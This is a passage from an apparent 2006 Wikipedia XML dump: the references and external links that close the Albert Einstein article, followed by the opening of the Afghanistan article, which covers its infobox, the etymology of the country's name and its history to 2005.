* {{cite book | author = Highfield, Roger; Carter, Paul | title = The Private Lives of Albert Einstein | publisher = Faber and Faber, London, Boston | year = 1993 | id = ISBN 0-571-17170-2 (US ed. ISBN 0312110472) }}
* {{cite journal | author = Macrossan, Michael | title = A note on relativity before Einstein | journal = British Journal for the Philosophy of Science | year = 1986 | volume = 37 | pages = 232-234 }} [http://eprint.uq.edu.au/archive/00002307 Abstract and link to full text].
* {{cite web | author = Martínez, Alberto A. | year = April 2004 | url = http://physicsweb.org/articles/world/17/4/2 | title = Arguing about Einstein's wife | publisher = Physics World | accessdate = 2005-11-23 }}
* {{cite book | author = [[Abraham Pais | Pais, Abraham]] | year = 1982 | title = Subtle is the Lord. The Science and the Life of Albert Einstein | publisher = Oxford University Press | location = Oxford | id = ISBN 0-19-520438-7 }} This is the definitive scientific biography.
* {{cite book | author = [[Abraham Pais | Pais, Abraham]] | year = 1994 | title = Einstein Lived Here | publisher = Oxford University Press | location = Oxford | id = ISBN 0198539940 }} This book discusses non-science aspects of Einstein; marriages, affairs, illegitimate daughter, public image.
* {{cite book | author = [[Clifford A. Pickover | Pickover, Clifford A.]] | date = [[2005-09-09]] | title = Sex, Drugs, Einstein, and Elves: Sushi, Psychedelics, Parallel Universes, and the Quest for Transcendence | publisher = Smart Publications | id = ISBN 1890572179 }} Discusses the final disposition of Einstein's brain, hair, and eyes as well as the importance of Einstein and his work in the shaping of science and culture.
* {{cite book | author = [[John Stachel | Stachel, John]] | date = 1998-03-30 | title = Einstein's Miraculous Year: Five Papers That Changed the Face of Physics | publisher = Princeton University Press | id = ISBN 0691059381 }}
* {{cite book | author = [[Peter D. Smith | Smith, Peter D.]] | year = 2000 | title = Einstein (Life &amp; Times Series) | publisher = Haus Publishing | id = ISBN 1904341152 }}
* {{cite book | authorlink = Kip Thorne | last = Thorne | first = Kip | year = 1995 | title = [[Black Holes and Time Warps | Black Holes and Time Warps: Einstein's Outrageous Legacy]] | publisher = W. W. Norton &amp; Company | edition = Reprint edition | date = [[January 1]] [[1995]] | id = ISBN 0393312763 }}
* {{cite web | author = Levenson, Thomas | year = June 2005 | url = http://www.pbs.org/wgbh/nova/einstein/genius/ | title = Genius Among Geniuses | accessdate = 2006-02-25 }}
* {{cite web | author = Golden, Frederic | year = 2000-01-03 | url = http://www.time.com/time/time100/poc/magazine/albert_einstein5a.html | title = Person of the Century: Albert Einstein | accessdate = 2006-02-25 }}
* {{cite web | author = American Institute of Physics | year = 1996 | url = http://www.aip.org/history/einstein/index.html | title = Einstein-Image and Impact | accessdate = 2006-02-25 }}
* {{cite web | author = Bodanis, David | year = June 2005 | url = http://www.pbs.org/wgbh/nova/einstein/bodanis.html | title = Einstein the Nobody | accessdate = 2006-02-25 }}

==Notes==
{{ent|1|brain}} [http://www.bioquant.com/gallery/einstein.html The Exceptional Brain of Albert Einstein].
{{ent|2|autism}} {{news reference|author=Muir, Hazel|title=Einstein and Newton showed signs of autism|org=New Scientist|url=http://www.newscientist.com/article.ns?id=dn3676|date=2003-04-30|urldate=2006-01-04}} See also [[People speculated to have been autistic]].
{{ent|3|Highfield1}} Highfield.
{{ent|4|Highfield2}} Ibid.
{{ent|5|www.ipi.ch.376}} {{cite web | title=The institute / IPI / Federal Institute of Intellectual Property | url=http://www.ipi.ch/E/institut/i1.shtm | accessdate=November 21 | accessyear=2005 }}
{{ent|6|Galison368}} Galison p. 368.
{{ent|7|physicsweb.org.377}} {{cite web | title=Arguing about Einstein's wife (April 2004) - Physics World - PhysicsWeb (See above) | url=http://physicsweb.org/articles/world/17/4/2 | accessdate=November 21 | accessyear=2005 }}
{{ent|8|Galison370}} Galison p. 370.
{{ent|9|Thorne}} [[David Hilbert]] actually published the field equation in an article dated five days before Einstein's lecture. But according to Thorne (pp. 117&amp;ndash;118), Hilbert had discovered the correct derivation after &quot;mulling over things he had learned&quot; on a recent visit by Einstein to Gottingen. However Thorne goes on to say &quot;Quite naturally, and in accord with Hilbert's view of things, the resulting law of warpage was quickly given the name the ''Einstein field equation'' rather than being named after Hilbert. Hilbert had carried out the last few mathematical steps to its discovery independently and almost simultaneously with Einstein, but Einstein was responsible for essentially everything that preceded those steps: the recognition that tidal gravity must be the same thing as a warpage of spacetime, the vision that the law of warpage must obey the reativity principle, and the first 90 percent of that law, the Einstein field equation. In fact without Einstein the general relativistic laws of gravity might not have been discovered until several decades later.&quot;  See [[Priority disputes about Einstein and the relativity theories]] for more details.
{{ent|9|www.lorentz.leidenuniv.nl.378}} {{cite web | title=Einstein archive at the Instituut-Lorentz | url=http://www.lorentz.leidenuniv.nl/history/Einstein_archive/ | accessdate=November 21 | accessyear=2005 }}
{{ent|11|gtalumni.org.379}} {{cite web | title=Einstein's Refrigerator | url=http://gtalumni.org/StayInformed/magazine/sum98/einsrefr.html | accessdate=November 21 | accessyear=2005 }}
{{ent|12|news.bbc.co.uk.381}} {{cite web | title=BBC News : Sci/Tech : Why size mattered for Einstein | url=http://news.bbc.co.uk/1/hi/sci/tech/371698.stm | accessdate=November 21 | accessyear=2005 }}
{{ent|13|ethicalculture.1}} {{cite web | title=The Humanist Way: An Introduction to Ethical Humanist Religion | url=http://www.aeu.org/ericson2.html | accessdate=February 25 | accessyear=2006 }}
{{ent|14|www.amnh.org.382}} {{cite web | title=Einstein : American Museum of Natural History | url=http://www.amnh.org/exhibitions/einstein/peace/index.php | accessdate=November 21 | accessyear=2005 }}
{{ent|15|www.amnh.org.383}} Ibid.
{{ent|16|socialism}} {{news reference|title=Why Socialism?|firstname=Albert|lastname=Einstein|org=Monthly Review|date=May 1949|url=http://www.monthlyreview.org/598einst.htm|urldate=2006-01-16}}
{{ent|17|foia.fbi.gov.384}} {{cite web | title=Federal Bureau of Investigation - Freedom of Information Privacy Act | url=http://foia.fbi.gov/foiaindex/einstein.htm | accessdate=November 21 | accessyear=2005 }}
{{ent|18|hypertextbook.com.385}} {{cite web | title=Einstein's Letters to Roosevelt | url=http://hypertextbook.com/eworld/einstein.shtml | accessdate=November 21 | accessyear=2005 }}
{{ent|19|calaprice173}} Calaprice p. 173.
{{ent|20|www.mentalfloss.com.386}} {{cite web | title=mental_floss library | url=http://www.mentalfloss.com/archives/archive2003-03-14.htm | accessdate=November 21 | accessyear=2005 }}
{{ent|21|aip.org.387}} {{cite web | title=http://aip.org/history/esva/einuse.htm | url=http://aip.org/history/esva/einuse.htm | accessdate=November 21 | accessyear=2005 }}
{{ent|22|refbot.388}} {{cite web | title=ALBRT EINSTEIN BRAND LOGO | url=http://www.albert-einstein.net/styleguide-readonly/brand.html | accessdate=November 21 | accessyear=2005 }}
{{ent|23|refbot.389}} {{cite web | title= Albert Einstein College of Medicine of Yeshiva University | url=http://www.aecom.yu.edu | accessdate=November 21 | accessyear=2005 }}
{{ent|24|www.einstein.edu.390}} {{cite web | title= Albert Einstein Medical Center | url=http://www.einstein.edu/facilities/aemc/ | accessdate=November 21 | accessyear=2005 }}

==External links==
{{wikiquote|Albert Einstein}}
{{commons|Albert_Einstein}}
{{sisterlinks|Albert Einstein}}
* {{gutenberg author| id=Albert+Einstein | name=Albert Einstein}}
* [[Nobel Prize in Physics]]: [http://www.nobel.se/physics/laureates/1921/press.html The Nobel Prize in Physics 1921]—[http://www.nobel.se/physics/laureates/1921/index.html Albert Einstein]
* [[Annalen der Physik]]: [http://gallica.bnf.fr/Catalogue/noticesInd/FRBNF34462944.htm#listeUC Works by Einstein] digitalized at The University of Applied Sciences in Jena (Fachhochschule [[Jena]])
* S. Morgan Friedman, &quot;[http://www.westegg.com/einstein/ Albert Einstein Online]&quot;—Comprehensive listing of online resources about Einstein.
*[[TIME magazine]] 100: [http://www.time.com/time/time100/scientist/profile/einstein.html Albert Einstein]
*[http://www.timelessquotes.com/author/Albert_Einstein.html Albert Einstein Quotes] - Hundreds of famous Albert Einstein quotes
* ''Audio excerpts of famous speeches: '' [http://www.time.com/time/time100/poc/audio/einstein1.ram E=mc&amp;sup2; and relativity], [http://www.time.com/time/time100/poc/audio/einstein2.ram Impossibility of atomic energy], [http://www.time.com/time/time100/poc/audio/einstein3.ram arms race] (From Time magazine archives)
* {{MacTutor Biography|id=Einstein}}
* [[Leiden University]]: [http://www.lorentz.leidenuniv.nl/history/Einstein_archive/ Einstein Archive]
* [[PBS]]: [http://www.pbs.org/wgbh/amex/truman/psources/ps_einstein.html Einstein's letter to Roosevelt]
* PBS [http://www.pbs.org/wgbh/nova/einstein/ NOVA—Einstein]
* PBS [http://www.pbs.org/opb/einsteinswife/ Einstein's wife]: Mileva Maric
* [[FBI]]: [http://foia.fbi.gov/foiaindex/einstein.htm FBI files]—investigation regarding affiliation with the Communist Party
* [[Johann Wolfgang Goethe University of Frankfurt am Main|University of Frankfurt]]: [http://www.th.physik.uni-frankfurt.de/~jr/physpiceinfam.html Einstein family pictures]
* [[Salon.com]]: [http://dir.salon.com/people/feature/2000/07/06/einstein/index.html Did Einstein cheat?]
* [http://www.germanheritage.com/biographies/atol/einstein.html Albert Einstein Biography from &quot;German-American corner: History and Heritage&quot;]
* [http://www.alberteinstein.info/ Official Einstein Archives Online]
* [http://www.alberteinstein.info/manuscripts/index.html Einstein's Manuscripts]
* [http://www.albert-einstein.org/ Albert Einstein Archive]
* [http://www.einstein.caltech.edu/ Einstein Papers Project]
* [[Max Planck Institute]]: [http://living-einstein.mpiwg-berlin.mpg.de/living_einstein   Living Einstein]
* [[American Institute of Physics]]: [http://www.aip.org/history/einstein/index.html Albert Einstein] includes his life and work, audio files and full site available as a downloadable PDF for classroom use
* [[American Museum of Natural History]]: [http://www.amnh.org/exhibitions/einstein/index.php Albert Einstein]
* [http://www.aeinstein.org The Albert Einstein Institution]
* [[The Economist]]: [http://www.economist.com/displaystory.cfm?story_id=3518580 &quot;100 years of Einstein&quot;]
* Einstein@Home: [http://www.physics2005.org/events/einsteinathome/index.html Distributed computing project searching for gravitational waves predicted by Einstein's theories]
* World Year of Physics 2005 [http://www.physics2005.org A celebration of Einstein's Miracle Year]
* [http://www.einsteinyear.org/ Einstein Year 2005]
* [[The Guardian]]: [http://www.guardian.co.uk/japan/story/0,7369,1521314,00.html Einstein's pacifist dilemma revealed]
* [http://www.muppetlabs.com/~breadbox/txt/al.html Einstein's Theory of Relativity, In Words of Four Letters or Fewer]
* [[Rabindranath Tagore|Rabindranath Tagore's]] [http://www.schoolofwisdom.com/tagore-einstein.html Conversation with Einstein]
* [http://www.zionistarchives.org.il/ZA/SiteE/pShowView.aspx?GM=Y&amp;ID=48&amp;Teur=Protest%20against%20the%20suppression%20of%20Hebrew%20in%20the%20Soviet%20Union%20%201930-1931 Protest against the suppression of Hebrew in the Soviet Union 1930-1931]
* [http://www.einsteinonrace.com/  Einstein on Race]
* [http://www.stn-international.de/archive/stn_brochures/einstein_e.pdf Einstein brochure (PDF), 100 years special theory of relativity 2005]
* [http://supernaturalminds.com/AlbertEinstein.html Albert Einstein Profile At Supernatural Minds]
* [http://www.oxonianreview.org/issues/5-1/5-1foster.html Everyone Loves Einstein, The Oxonian Review of Books]

{{featured article}}

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  </page>
  <page>
    <title>Afghanistan</title>
    <id>737</id>
    <revision>
      <id>42144721</id>
      <timestamp>2006-03-04T02:52:16Z</timestamp>
      <contributor>
        <ip>24.195.129.231</ip>
      </contributor>
      <comment>/* Economy */</comment>
      <text xml:space="preserve">{{Infobox_Country|
native_name = د افغانستان اسلامي دولت&lt;br /&gt;دولت اسلامی افغانستان&lt;br&gt; Da Afghanistan Islami Dawlat&lt;br&gt; Dawlate Islamiye Afghanistan &lt;br /&gt;Islamic Republic of Afghanistan |
common_name = Afghanistan |
image_flag = 2001.gif|
image_coat = Afghanistan COA.png |
image_map = LocationAfghanistan.png |
national_motto = None |
national_anthem = [[Soroud-e-Melli]] |
official_languages = [[Pashto]], [[Persian language|Persian]] ([[Dari (Afghanistan)|Dari]]) |
capital = [[Kabul]] |
latd=34|latm=30|latNS=N|longd=69|longm=10|longEW=E|
largest_city = [[Kabul]] |
government_type = [[Islamic Republic]] |
leader_titles = [[President of Afghanistan|President]] |
leader_names = [[Hamid Karzai]] |
area_rank = 40th |
area_magnitude = 1_E11 |
area = 647,500 |
areami² = 250,001 |&lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
percent_water = 0 |
population_estimate = 29,928,987 |
population_estimate_year = 2005 |
population_estimate_rank = 38th |
population_census =|
population_census_year =|
population_density = 43 |
population_densitymi² = 111 |&lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
population_density_rank= n/a |
GDP_PPP_year= 2004 |
GDP_PPP = $21.5 billion |
GDP_PPP_rank = 105th |
GDP_PPP_per_capita = $800 |
GDP_PPP_per_capita_rank = 185th |
HDI_year = 2003 |
HDI = NA |
HDI_rank = unranked |
HDI_category = &lt;font color=gray&gt;NA&lt;/font&gt; | 
sovereignty_type = [[Independence]] |
established_events = |
established_dates = (from [[United Kingdom|UK]] control over Afghan affairs)&lt;br /&gt;1919 |
currency = [[Afghani (currency)|Afghani &lt;small&gt;(Af)&lt;/small&gt;]] |
currency_code = AFN |
country_code = AFG |
time_zone = |
utc_offset = +4:30 | 
time_zone_DST = |
utc_offset_DST = +4:30 |
cctld = [[.af]] |
calling_code = 93 |
footnotes =
}}

'''Afghanistan''' ([[Pashto language|Pashto]]/[[Dari (Afghanistan)|Dari-Persian]]: افغانستان, Afğānistān) is a [[landlocked]] country at the crossroads of [[Asia]]. Generally considered a part of [[Central Asia]], it is sometimes ascribed to a regional bloc in either [[South Asia]] or the [[Middle East]], as it has cultural, ethno-linguistic, and geographic links with most of its neighbors. It is bordered by [[Iran]] in the west, [[Pakistan]] in the south and east, [[Turkmenistan]], [[Uzbekistan]] and [[Tajikistan]] in the north, and [[People's Republic of China|China]] to the east. It has a population of 30 million people, although this remains an estimate, as no official census has been taken for decades.

Afghanistan literally translates to 'land of the [[Afghan people|Afghans]]', but a plethora of other names have been applied to its general location in the past. Between the fall of the [[Taliban]] after the [[U.S. invasion of Afghanistan]] and the [[2003 Loya jirga]], Afghanistan was referred to by the Government of the United States as the ''Transitional Islamic State of Afghanistan''. Under its new [[Constitution of Afghanistan|constitution]], the country is now officially named the '''[[Islamic republic|Islamic Republic]] of Afghanistan'''.

&lt;!-- Orphaned information:
Population of Kabul: 1,424,400 (1988)
Land borders: 5,529 km
Coastline: Landlocked
[[National Day]]: [[18 August]]
Religions: Sunni 84%, Shi'a 15%
1 Afghani = 100 [[pul]]s
--&gt;
==Origin and history of the name==
The name of '''Afghanistan''' derives from  word ''[[Afghan people|Afghan]]''. The [[Pushtun]]s appear to have begun using the term Afghan as a name for themselves from the [[Islam |Islamic]] period onwards. According to W.K. Frazier Tyler, M.C. Gillet and several other scholars, ''&quot;The word  Afghan first appears in history in the [[Hudud ul-'alam min al-mashriq ila al-maghrib|Hudud-al-Alam]] in 982 AD.&quot;''

There are numerous views, regarding the origin of name Afghan, most of them being purely speculative as can be seen below:

Makhzan-i-Afghni by Nematullah written in 1612 CE, traces the Afghan or Pakhtun origin from the super-Patriarch [[Abraham]] down to one named King Talut or [[Saul]]. It states that Saul had a son Irmia (Jeremia), who had a son called Afghana. Upon the death of King Saul, Afghana was raised by David, and was later promoted to the chief command of the army during the reign of King [[Solomon]]. The progeny of this Afghana multiplied numerously, and came to be called ''Bani-Israel''. In the sixth century BCE, Bakhtunnasar, or [[Nebuchadnezzar]] king of [[Babul]], attacked [[Judah]] and exiled the progeny of Afghana to Ghor located in the center of what is now  Afghanistan. In course of time, the exiled community came to be addressed as ''Afghan'' after the name of their ancestor, and the country got its name as Afghanistan. This traditional view has many historical discrepancies, and is therefore not accepted by modern scholarship---the last pleader for the ''Bani-Israel'' hypothesis being Mayor Raverty (The Pathans, 1958, Olaf Caroe). 

Another version of Pushtun legend places Afghana, the professed eponymous ancestor of the Afghans or [[Pushtun]]s, as a contemporary of Muslim [[Prophet Mohammad]]. On hearing about the new faith of Islam, Qais from Aryana travelled to [[Medina]] to see the Muslim [[Muhammad |Prophet Muhammad]], and returned to Aryana as a Muslim. Qais Abdur Rashid purportedly had many sons, one of whom was Afghana. Afghana, in turn, had four sons who set out to the east to establish their separate lineages. The first son went to [[Swat]], the second to [[Lahore]] and [[India]], the third to [[Multan]], and the last one to [[Quetta]]. This legend is one of many traditional tales amongst the Pashtuns regarding their disparate origins. Again, it was this legendary Afghana who is stated to have given the  Pushtuns their current name. It is notable that the Afghan of this legend is separated from the Afghana of [[Solomon]]'s times by at least 11 centuries.
Dr H.W. Bellew, in his book  ''An Enquiry into the Ethnography of Afghanistan'', believes that the name ''Afghan'' derives from the [[Latin]] term ''Alban'', used by [[Armenians]] as ''Alvan'' or ''Alwan'', which refers to mountaineers, and in the case of transliterated Armenian characters, would be pronounced as ''[[Caucasian Albania|Aghvan]]'' or ''Aghwan''.  To the [[Persians]], this would further be altered to ''Aoghan'', ''Avghan'', and ''Afghan'' as a reference to the highlanders or &quot;mountaineers&quot; of the eastern [[Iranian plateau]]. 

Some people hold that the name derives from &quot;Abagan&quot;  (i.e without God) which term the  [[Persians]]  are stated to have coined for the [[Pushtun]]s to describe them as ''Godless or non-believers''. It is claimed that word ''Abagan'' is antonym of the word Bagan (=believer in God) just as word apolitical is [[antonym]] of  political in the English language. 

There are also a few people who link  &quot;Afghan&quot; to an [[Uzbek language|Uzbek]] word &quot;''Avagan''&quot; said to mean &quot;original&quot;. Still others believe that the name derives from [[Sanskrit]]  ''upa-ganah'', said to mean &quot;allied tribes&quot;.  

Another etymological view is that the name ''Afghan'' evidently derives from  [[Sanskrit]] [[Ashvaka]] or [[Ashvakan]] (q.v),  the Assakenoi of [[Arrian]]. This view was propounded by J. W. McCrindle and is supported by numerous modern scholars (including C. Lassen, S. Martin, Bishop, Crooks, W. Crooke, J. C. Vidyalnar, M. R. Singh, P. Smith, N. L. Dey, Dr J. L. Kamboj, S. Kirpal Singh and several others).  In Sanskrit, word ''ashva'' ([[Iranian languages|Iranian]] ''aspa'', [[Prakrit]] ''assa'') means &quot;horse&quot;, and ''ashvaka'' (Prakrit ''assaka'') means &quot;horseman&quot;. Pre-Christian times knew the people of eastern Afghanistan as ''Ashvakas'' ([[cavalry |horsemen]]), since they raised a fine breed of horses and had a reputation for providing expert [[cavalrymen]]. The fifth-century-BCE [[India]]n grammarian [[Panini]] calls them ''Ashvayana'' and ''Ashvakayana''. Classical writers use the respective equivalents ''Aspasios'' (or Aspasii, Hippasii) and ''Assakenois'' (or Assaceni/Assacani, Asscenus). The Aspasios/Assakenois (= Ashvakas = cavalrymen) is stated to be another name for the [[Kambojas]] because of their [[equestrian]] characteristics  (see [[List of country name etymologies]]).

The last part of the name ''Afghanistan'' originates from the [[Persian language|Persian]] word ''st&amp;#257;n'' (''country'' or ''land''). The English word ''Afghanland'' that appeared in various treaties between [[Qajars|Qajar-Persia]] and the [[United Kingdom]] dealing with the Eastern lands of the Persian kingdom (modern Afghanistan) was adopted by the Afghans and became ''Afghanistan''.

Before being called 'Afghanistan', the region had gone through several name changes in its long history of around 5000 years. One of the most ancient names, according to historians and scholars, was ''Ariana'' - the Greek pronunciation of the ancient [[Avestan]] ''Aryanam Vaeja'' or the [[Sanskrit]] &quot;Aryavarta&quot;, ''Land of the [[Aryans]]''. Today this Old-Persian, and [[Avestan]] expression is preserved in the name ''[[Iran]]'' and it is noted in the name of the Afghan national airline, ''[[Ariana Airlines]]''. The term 'Ariana Afghanistan' is still popular amongst Persian speakers in the country.

Many centuries later, Afghanistan was part of [[Greater Khorasan]], and hence was recognized with the name [[Khorasan]] (along with regions centered around [[Merv]] and [[Neishabur]]), which in [[Pahlavi]] means &quot;The Eastern Land&quot; (خاور زمین in Persian). ''([[Dehkhoda]], p8457)''

==History==
{{main|History of Afghanistan}}

Afghanistan exists at a unique nexus-point where numerous Eurasian civilizations have interacted and often fought and was an important site of early historical activity. Through the ages, the region today known as ''Afghanistan'' has been invaded by a host of peoples, including the [[Indo-Iranians|Aryans]], [[Medes]], [[Achaemenids|Persians]], [[Greeks]], [[Mauryan Empire|Mauryans]], [[Kushans]], [[Sassanid Empire|Sassanians]], [[Arabs]], [[Turkic peoples|Turks]], [[British]], and [[Soviets]], but rarely have these groups managed to exert complete control over the region. On other occasions, native Afghan entities have invaded surrounding regions to form empires of their own.
[[Image:Bamiyan.jpg|right|thumb|300px|Buddhas of Bamiyan, dating back to 1st century pre-Islamic Afghanistan, were the largest Buddha statues in the world. They were destroyed by the [[Taliban]] in 2001 calling them &quot;Us-Islamic&quot;. Photo by Hadi Zaheer]]
Between 2000 and 1200 [[Common Era|BCE]], waves of [[Indo-European]]-speaking [[Indo-Iranians|Aryans]] are thought to have flooded into modern-day Afghanistan, setting up a nation that became known as ''Aryānām Xšaθra'', or &quot;Land of the Aryans.&quot; [[Zoroastrianism]] is speculated to have possibly originated in Afghanistan between 1800 to 800 BCE. Ancient Eastern Iranian languages such as [[Avestan]] may have been spoken in Afghanistan around a similar time-line with the rise of Zoroastrianism. Around 1000 BCE (or earlier), the [[Indo-Aryans|Indo-Aryan]] [[Vedic]] civilization may have arisen near the vicinity of the [[Kabul]] valley of eastern Afghanistan, but this remains speculative as more viable theories based upon archaeological finds tend to support the emergence of the Vedic civilization east of the [[Indus]] and/or [[Ganges]] in what is today Pakistan and India. By the middle of the 6th century BCE, the [[Achaemenids|Persian Empire]] supplanted the [[Medes]] and incorporated Aryana within its boundaries; and by 330 BCE, Alexander the Great had invaded the region. Following Alexander's brief occupation, the Hellenic successor states of the [[Seleucids]] and [[Bactrians]] controlled the area, while the [[Maurya]]ns from India annexed the southeast for a time and introduced [[Buddhism]] to the region until the area returned to the Bactrian rule.

During the 1st century [[Common Era|CE]], the [[Kushan]]s, a [[Tocharian]] people from Central Asia with Indo-European origins, occupied the region. Thereafter, Aryana fell to a number of Eurasian tribes &amp;mdash; including [[Parthians]], [[Scythians]], and [[Hepthalites|Huns]], as well as the [[Sassanian]] Persians and local rulers such as the [[Hindu]] [[Shahi]]s in Kabul &amp;mdash; until the 7th century CE, when Muslim [[Arab]] armies invaded the region.

The Arabs initially annexed parts of western Afghanistan in 652 and then conquered most of the rest of Afghanistan between 706-709 CE and administered the region as [[Khorasan]], and over time much of the local population converted to Islam, but retained their [[Iranian languages]]. Afghanistan became the center of various important empires, including the [[Ghaznavid Empire]] (962-1151), founded by a local [[Turkic peoples|Turkic]] ruler from [[Ghazni]] named [[Mahmud Ghaznavi|Yamin ul-Dawlah Mahmud]], that expanded its suzerainty over a vast area from [[Kurdistan]] to northern India. This empire was replaced by the Ghorid Empire (1151-1219), founded by another local ruler, this time of [[Tajik]] extraction, [[Muhammad Ghori]], whose domains included huge parts of Central and South Asia, and laid the foundations for the [[Delhi Sultanate]] in India.

In 1219, the region was overrun by the Mongols under [[Genghis Khan]], who devastated the land. Their rule continued with the [[Ilkhanate]]s, and was extended further following the invasion of [[Tamerlane]] (Timur Leng), a ruler from Central Asia. By 1400, all of Afghanistan came under his dominion, and he also laid the foundation of another Islamic empire in India, the [[Mughal Empire]]. The [[Uzbek]]-born [[Babur]], a descendant of both Tamerlane and Genghis Khan, established an empire with its capital at Kabul by 1504, and then expanded into South Asia in 1525 and established the Mughal Empire's rule throughout much of what is today Pakistan and northern India by 1527. As the empire shifted eastward, the [[Safavids]] of Persia challenged Mughal rule while the two superpower empires of the day battled over the fate of Afghanistan for decades with the Persians acquiring the area by the mid-17th century.

Local [[Ghilzai]] Pashtun tribesmen, lead by Khan Nashir, successfully overthrew Safavid rule, and under the [[Hotaki]] dynasty, briefly controlled all or parts of Persia itself from 1722 to 1736. Following a brief period under the rule (1736-1747) of the Turko-Iranian conqueror [[Nadir Shah]], one of his high-ranking military officers, [[Ahmad Shah Durrani|Ahmad Shah Abdali]], himself a Pashtun tribesman of the [[Durrani|Abdali]] clan, called for a ''loya jirga'' following Nadir Shah's assassination (for which many implicate Abdali) in 1747. The Afghans/Pashtuns came together at Kandahar in 1747 and chose Ahmad Shah, who changed his last name to Durrani (meaning 'pearl of pearls' in Persian), to be king. The Afghanistan nation-state as it is known today came into existence in 1747 as the [[Durrani Empire]], and expanded outward from traditional Pashtun territories to include all of what is today Afghanistan, a portion of [[Mashad]] in Iran, and all of Pakistan and Kashmir as well. The Durrani Empire lasted for nearly a century until internecine conflict and wars with the Persians and [[Sikhs]] diminished their empire by the early 19th century. However, the current borders of Afghanistan would not be determined until the coming of the British.

During the 19th century, following the [[Anglo-Afghan wars]] (fought in 1839-1842, 1878-1880, and lastly in 1919), Afghanistan saw much of its territory and autonomy ceded to the [[United Kingdom]]. The United Kingdom exercised a great deal of influence, and it was not until King [[Amanullah]] acceded to the throne in 1919 (see &quot;[[The Great Game]]&quot;) that Afghanistan regained complete independence. During the period of British intervention in Afghanistan, ethnic Pashtun territories were divided by the [[Durand Line]], and this would lead to strained relations between Afghanistan and [[British India]], and later the new state of Pakistan, over what came to be known as the [[Pashtunistan]] debate.

The historical rulers of Afghanistan were part of the Abdali tribe of the ethnic Afghans, whose name was changed to [[Durrani]] upon the accession of [[Ahmad Shah]]. They belonged to the Saddozay segment of the [[Popalzay]] clan, or to the Mohammadzay segment of the Barakzay clan, of the ethnic Afghans. The Mohammadzay frequently furnished the Sadozay kings with top counselors, who served occasionally as regents, and identified with the name Mohammadzay.

Since 1900, eleven monarchs and rulers have been unseated through undemocratic means: in 1919 (assassination), 1929 (abdication), 1929 (execution), 1933 (assassination), 1973 (deposition), 1978 (execution), 1979 (execution), 1979 (execution), 1987 (removal), 1992 (overthrow), 1996 (overthrow) and 2001 (overthrow).

The longest period of stability in Afghanistan was between 1933 and 1973, when the country was under the rule of King [[Mohammed Zahir Shah|Zahir Shah]]. However, in 1973, Zahir's brother-in-law, [[Sardar Mohammed Daoud]] launched a bloodless coup. Daoud and his entire family were murdered in 1978 when the [[communist]] [[People's Democratic Party of Afghanistan]] launched a coup known as the [[Khalq|Great Saur Revolution]] and took over the government.

Opposition against, and conflict within, the series of communist governments that followed, was considerable. As part of a [[Cold War]] strategy, the US government began to covertly fund and train anti-government [[Mujahideen]] forces through the Pakistani secret service agency known as Inter Services Intelligence or ISI, which were derived from discontented Muslims in the country who opposed the official atheism of the Marxist regime, in 1978. In order to bolster the local Communist forces the [[Soviet Union]] - citing the 1978 Treaty of Friendship, Cooperation and Good Neighborliness that had been signed between the two countries in 1978 - intervened on [[December 24]], 1979. The Soviet occupation resulted in a mass exodus of over 5 million Afghans who moved into refugee camps in neighboring Pakistan and Iran. More than 3 million alone settled in Pakistan. Faced with mounting international pressure and the loss of approximately 15,000 Soviet soldiers as a result of Mujahideen opposition forces trained by the [[United States]], Pakistan, and other foreign governments, the Soviets withdrew ten years later, in 1989. For more details, see [[Soviet war in Afghanistan]].

The Soviet withdrawal was seen as an ideological victory in the US, which ostensibly had backed the Mujahideen in order to counter Soviet influence in the vicinity of the oil-rich [[Persian Gulf]]. Following the removal of the Soviet forces in 1989, the US and its allies lost interest in Afghanistan and did little to help rebuild the war-ravaged country. The USSR continued to support the regime of Dr. Najubullah (formerly the head of the secret service, Khad) until its downfall in 1992. However, the absence of the Soviet forces resulted in the downfall of the government as it steadily lost ground to the guerrilla forces. [http://www.infoplease.com/ce6/world/A0856490.html]

As the vast majority of the elites and intellectuals had either been systematically eliminated by the Communists, or escaped to take refuge abroad, a dangerous leadership vacuum came into existence. Fighting continued among the various Mujahidin factions, eventually giving rise to a state of [[warlordism]]. The chaos and corruption that dominated post-Soviet Afghanistan in turn spawned the rise of the [[Taliban]] in response to the growing chaos. The most serious fighting during this growing civil conflict occurred in 1994, when 10,000 people were killed during factional fighting in Kabul.

Exploiting the chaotic situation in Afghanistan, a few regional bedfellows including fundamentalist Afghans trained in refugee camps in western Pakistan, the Pakistani secret intelligence service (ISI), the regional Mafia (well-established network that smuggled mainly Japanese electronics and tyres before the Russian invasion, now involved in drug smuggling) and Arab extremist groups (that were looking for a safe operational hub) joined forces and helped to create the [[Taliban]] movement (Rashid 2000).[http://www.ahmedrashid.com/] Backed by Pakistan, [[Saudi Arabia]] and other strategic allies, the Taliban developed as a politico-religious force, and eventually seized power in 1996. The Taliban were able to capture 90% of the country, aside from the [[Afghan Northern Alliance]] strongholds primarily found in the northeast in the [[Panjshir Valley]]. The Taliban sought to impose a strict interpretation of [[Islam]]ic ''[[Sharia]]'' law and gave safe haven and assistance to individuals and organizations that were implicated as terrorists, most notably [[Osama bin Laden]]'s [[Al-Qaeda]] network.

The United States and allied military action in support of the opposition following the [[September 11, 2001 Terrorist Attacks]] forced the Taliban's downfall. In late 2001, major leaders from the Afghan opposition groups and diaspora met in [[Bonn]], and agreed on a [[Bonn Agreement (Afghanistan)|plan]] for the formulation of a new government structure that resulted in the inauguration of [[Hamid Karzai]] as Chairman of the [[Afghan Interim Authority]] (AIA) on December 2001. After a nationwide ''[[Loya Jirga]]'' in 2002, Karzai was elected President.

On [[March 3]] and [[March 25]] [[2002]], a series of earthquakes struck Afghanistan, with a loss of thousands of homes and over 1800 lives. Over 4000 more people were injured. The earthquakes occurred at Samangan Province ([[March 3]]) and Baghlan Province ([[March 25]]). The latter was the worse of the two, and caused most of the casualties. International authorities assisted the Afghan government in dealing with the situation.

As the country continues to rebuild and recover, as of late 2005, it was still struggling against widespread poverty, continued warlordism, a virtually non-existent infrastructure, possibly the largest concentration of land mines on earth and other unexploded ordinance, as well as a sizable illegal poppy and heroin trade.  Afghanistan also remains subject to occasionally violent political jockeying, and the nation's first elections were successfully held in 2004 as women parliamentarians were selected in record numbers. Parliamentary elections in 2005 helped to further stabilize the country politically, in spite of the numerous problems it faced, including inadequate international assistance. The country continues to grapple with occasional acts of violence from a few remaining [[al-Qaeda]] and [[Taliban]] and the instability caused by warlords.

